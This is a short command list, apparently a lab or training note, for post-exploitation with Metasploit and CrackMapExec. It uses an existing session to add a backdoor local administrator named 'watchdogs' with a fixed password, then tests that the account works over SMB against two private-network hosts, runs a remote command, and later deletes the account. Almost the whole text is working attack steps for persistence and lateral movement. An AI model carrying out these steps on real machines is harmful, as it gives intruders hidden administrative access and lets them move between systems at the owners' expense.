#Back Door Add User
#search add_user
use post/windows/manage/add_user
info
set username watchdogs
set password Watchdogs123!
set group administrators
set session 1
run
sessions -i 1
shell
net users
net localgroup administrators
#can we authenticate?
crackmapexec smb -u watchdogs -p Watchdogs123! -d north.newyork.local 192.168.56.22
crackmapexec smb -u watchdogs -p Watchdogs123! -d north.newyork.local 192.168.56.22 -x whoami /all
crackmapexec smb -u watchdogs -p Watchdogs123! -d north.newyork.local 192.168.56.11
#Delete user:
search delete_user
use 17
set session 1
set username watchdogs
sessions -i 1
shell
net users